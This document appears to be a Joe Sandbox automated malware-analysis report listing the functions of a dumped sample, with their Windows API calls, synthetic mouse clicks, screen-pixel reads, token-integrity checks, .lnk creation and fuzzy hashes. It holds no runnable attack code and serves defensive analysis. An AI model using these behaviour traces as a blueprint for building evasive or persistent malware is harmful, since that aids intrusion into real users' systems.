Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 179713a8ba12836fc8004526b3e100e0c47ce80a5ea9830c1e36e68e88fd9ca8
Instruction ID: 762d0c2dcf1b803e30551ca13f16a0626da3f64ee8234b55b82172a62e7d5133
Opcode Fuzzy Hash: 179713a8ba12836fc8004526b3e100e0c47ce80a5ea9830c1e36e68e88fd9ca8
Instruction Fuzzy Hash: 6341B475618119FBCF198FA8DC48AEDBB74FB09320F204315F929922A0CB3499A0DF91

Function 002463AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002463E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00246433
TranslateMessage.USER32(?), ref: 0024645C
DispatchMessageW.USER32(?), ref: 00246466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00246475

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 7afbe0edb19848da6b4690f618b71cac150ee87243c82e37326062efd074aa2e
Instruction ID: a77f404f7ca832a9e746790662c33d708702cd8770f9e5758440a3a4bf2a1e57
Opcode Fuzzy Hash: 7afbe0edb19848da6b4690f618b71cac150ee87243c82e37326062efd074aa2e
Instruction Fuzzy Hash: 8731F871A206579FDF78CF70EC4CBB6BBACAB02700F140265E425C71A0E76598E5DB62

Function 00248A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00248A30
PostMessageW.USER32(?,00000201,00000001), ref: 00248ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00248AE2
PostMessageW.USER32(?,00000202,00000000), ref: 00248AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00248AF8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 1b8252fcf6df5b15fea95a3cd5734889c0a923a2871cc7ab14d7e7959315d231
Instruction ID: 40bc3619fe7b8ba790adb03e3f5b52c33c2507cdd878eaa66e09ae353f3c5589
Opcode Fuzzy Hash: 1b8252fcf6df5b15fea95a3cd5734889c0a923a2871cc7ab14d7e7959315d231
Instruction Fuzzy Hash: F331C27151022AEFDF18CF68DD4CA9E3BB5FB04315F104229F929E61D0C7B09964DB90

Function 0024B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0024B204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0024B221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0024B259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0024B27F
_wcsstr.LIBCMT ref: 0024B289

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 4012dc121f138a3de4fb03f101dfc83c59d5f8176d73ea691ef0c65a840672db
Instruction ID: 85f7293eaad40af216a643a38e718547b6436d7847f88ac2afdcf6cc74f1fa26
Opcode Fuzzy Hash: 4012dc121f138a3de4fb03f101dfc83c59d5f8176d73ea691ef0c65a840672db
Instruction Fuzzy Hash: DA21C5312282057BEB2A9F75AC49E7F7B9CDF49760F004139FC09DA161EBA1DCA09660

Function 0027B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

GetWindowLongW.USER32(?,000000F0), ref: 0027B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0027B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0027B1CF
GetSystemMetrics.USER32(00000004), ref: 0027B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00260E90,00000000), ref: 0027B216

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 8f147f9a0808b020b58c6104f2bf4282da25992198e3967c1dbeeb08d58e82cd
Instruction ID: 5dc4995af9b6b8a8aecbeff34bc1bee537dba5d33524b50730a62a97c89d5660
Opcode Fuzzy Hash: 8f147f9a0808b020b58c6104f2bf4282da25992198e3967c1dbeeb08d58e82cd
Instruction Fuzzy Hash: 3221B131A24226AFCB119F39DC18B6A37A4FB05321F518728FD3AC71E0D7309860CB90

Function 00249307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00249320

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00249352
__itow.LIBCMT ref: 0024936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00249392
__itow.LIBCMT ref: 002493A3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: f068c22aba2d5c6572a0483b3596b84d1d9e954eef82db24ca689f6f99b92c95
Instruction ID: d5a99b0b75e9cfa0a4f3b3d85d48f2ff99aa3d9564b62c2e5055b9c24c351d47
Opcode Fuzzy Hash: f068c22aba2d5c6572a0483b3596b84d1d9e954eef82db24ca689f6f99b92c95
Instruction Fuzzy Hash: 32210731714209ABEB14EF649C8AEEF3FADEB5A710F044065FA04D71C0D6B08DE18B91

Function 00265A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00265A6E
GetForegroundWindow.USER32 ref: 00265A85
GetDC.USER32(00000000), ref: 00265AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00265ACD
ReleaseDC.USER32(00000000,00000003), ref: 00265B08

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 3f40c2afc43be6cba3db032bc61616db9b54f68bfa0bfab6318fe12c6dcf8879
Instruction ID: fea47a536bc4dba03b10224472552b4e20667fc6303e0073ab54db3595984a43
Opcode Fuzzy Hash: 3f40c2afc43be6cba3db032bc61616db9b54f68bfa0bfab6318fe12c6dcf8879
Instruction Fuzzy Hash: D7219335A10104AFD714EFA5DD88EAABBE9EF48350F148479F91AD7362CB74AD40CB90

Function 001F12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 001F134D
SelectObject.GDI32(?,00000000), ref: 001F135C
BeginPath.GDI32(?), ref: 001F1373
SelectObject.GDI32(?,00000000), ref: 001F139C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 48bd8b7c3454ea93873d5e5c7be06589af2a9c0585b3e615a1b90b0d7d3f519d
Instruction ID: c6f1f90afb834bfe63f58ba416cc8b142be2092814e932e912f3ee292e7b749d
Opcode Fuzzy Hash: 48bd8b7c3454ea93873d5e5c7be06589af2a9c0585b3e615a1b90b0d7d3f519d
Instruction Fuzzy Hash: F1213731804628EBDB119F25FD487A97BE8FB00321F18432AE9189A5B0D77199D1DF90

Function 00254A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00254ABA
__beginthreadex.LIBCMT ref: 00254AD8
MessageBoxW.USER32(?,?,?,?), ref: 00254AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00254B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00254B0A

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: ce169bd9c618229c4819ed368e6dd993876e7e9115897bcee6a7686287f14f90
Instruction ID: 484a41784e9af7f6b84cd71fe83869af66daed8b54d79c122758746c979ce09f
Opcode Fuzzy Hash: ce169bd9c618229c4819ed368e6dd993876e7e9115897bcee6a7686287f14f90
Instruction Fuzzy Hash: 4711E576D19614BBC7009FB8AC08B9ABBACAB45325F144269FC18D3250D671C99487A0

Function 00248202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0024821E
GetLastError.KERNEL32(?,00247CE2,?,?,?), ref: 00248228
GetProcessHeap.KERNEL32(00000008,?,?,00247CE2,?,?,?), ref: 00248237
HeapAlloc.KERNEL32(00000000,?,00247CE2,?,?,?), ref: 0024823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00248255

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: aa00c16c881d7c4a4ecbe55bff76a522a0862d0187e0dd3cb63c9ce2a5eca77a
Instruction ID: 3fd5351272dcc3e496f1066d31d46cc881a14781e10567afe49bcbf428ef6c90
Opcode Fuzzy Hash: aa00c16c881d7c4a4ecbe55bff76a522a0862d0187e0dd3cb63c9ce2a5eca77a
Instruction Fuzzy Hash: 49016971228245BFDB248FA6ED4CD6B7BACEF8A754B500469FC0DD2220DA718C50CA70

Function 0024710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?,?,00247455), ref: 00247127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?), ref: 00247142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?), ref: 00247150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?), ref: 00247160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00247044,80070057,?,?), ref: 0024716C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c3bcdc26f79edc40adb3ff16f5e01db76d12d4477fbda635f3d61b4c12ce7645
Instruction ID: 2bd7e4a6843b1dca60b6dcef893ce712a844a6c89a0772be7a020278b6ed3f4b
Opcode Fuzzy Hash: c3bcdc26f79edc40adb3ff16f5e01db76d12d4477fbda635f3d61b4c12ce7645
Instruction Fuzzy Hash: B6018F72629205BBDB154F64ED48BAE7BADEF44791F140064FD0DD2220D771DD909BA0

Function 00255244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00255260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0025526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00255276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00255280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 002552BC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 9a7037c4a845db49d1a0d8fb7daf98a0ad774bf29d339ef3cca6b5e7e01c7c50
Instruction ID: fcea84c224d3360d990e196ede34cd69d209286c8fc5af2b5581f873d82749b0
Opcode Fuzzy Hash: 9a7037c4a845db49d1a0d8fb7daf98a0ad774bf29d339ef3cca6b5e7e01c7c50
Instruction Fuzzy Hash: 87013931D15A29DBCF00EFE4E958AEDBB78BB08312F400056ED49F2140CB3055648BA5

Function 0024810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00248121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0024812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0024813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00248141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00248157

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: d313b1698939bcad68ab1202449ec6a71d8856e91dc1e700820963c1366b23c4
Instruction ID: 803214eda617cd6743fc750647d569958164d29651679c0fd9eee64f107a90cf
Opcode Fuzzy Hash: d313b1698939bcad68ab1202449ec6a71d8856e91dc1e700820963c1366b23c4
Instruction Fuzzy Hash: E3F04F71224315AFEB510FA5EC8CE6B3BACFF49B54F000026F94DD6150CA619991DA60

Function 0024C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0024C1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 0024C20E
MessageBeep.USER32(00000000), ref: 0024C226
KillTimer.USER32(?,0000040A), ref: 0024C242
EndDialog.USER32(?,00000001), ref: 0024C25C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 65c4c5bb97905d8c7b68afeaa849c17f5eba870ef4a659ecf3f7c21c750673e6
Instruction ID: ce8357761623f08c65964b224cfc2c067012b31221bc5bf31a2a7a7dc1a212e0
Opcode Fuzzy Hash: 65c4c5bb97905d8c7b68afeaa849c17f5eba870ef4a659ecf3f7c21c750673e6
Instruction Fuzzy Hash: 5001DB3051470497EB64AF54ED4EFA6777CFF00B05F100269F956914E0D7F069948B50

Function 001F13B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 001F13BF
StrokeAndFillPath.GDI32(?,?,0022B888,00000000,?), ref: 001F13DB
SelectObject.GDI32(?,00000000), ref: 001F13EE
DeleteObject.GDI32 ref: 001F1401
StrokePath.GDI32(?), ref: 001F141C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: ef84e72ed3479411692691cb74df3aa725ffd219e947f1e4e1edf6ba094d69de
Instruction ID: 10941b8818ac33d6b97acac23636ce3edcdb1ed262abd89426abc4828381c9fc
Opcode Fuzzy Hash: ef84e72ed3479411692691cb74df3aa725ffd219e947f1e4e1edf6ba094d69de
Instruction Fuzzy Hash: B7F0C430008A18EBDB566F26FD4C7683BE5BB41326F088324E52D991F1C73189D9DF50

Function 0025C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0025C432
CoCreateInstance.OLE32(00282D6C,00000000,00000001,00282BDC,?), ref: 0025C44A

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

CoUninitialize.OLE32 ref: 0025C6B7

Strings

.lnk, xrefs: 0025C3C6, 0025C3EE, 0025C3F8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 30ffde9199b3a09bcaeeabd77e5a2d9c56836f545140e1c41290b4d3fcc46239
Instruction ID: 574926009b7c0b60dc54bcc310e9d16ac2389934737fc2123d02a1bf14b4a2a2
Opcode Fuzzy Hash: 30ffde9199b3a09bcaeeabd77e5a2d9c56836f545140e1c41290b4d3fcc46239
Instruction Fuzzy Hash: 2DA12A71104209AFD700EF64C881EBBB7ACFF95354F004919F6599B1A2EB71EA49CB52

Function 00202CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00210DB6: std::exception::exception.LIBCMT ref: 00210DEC
Part of subcall function 00210DB6: __CxxThrowException@8.LIBCMT ref: 00210E01

Part of subcall function 001F7DE1: _memmove.LIBCMT ref: 001F7E22

Part of subcall function 001F7A51: _memmove.LIBCMT ref: 001F7AAB

__swprintf.LIBCMT ref: 00202ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00202D66

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 87519d895fa50313c277aead1dc833e30132a9712f98828636e38379a6836d02
Instruction ID: ca05d3a3cf279f249f0bee461cbd8e00a2758d6e904e70e3b221791da691b2e2
Opcode Fuzzy Hash: 87519d895fa50313c277aead1dc833e30132a9712f98828636e38379a6836d02
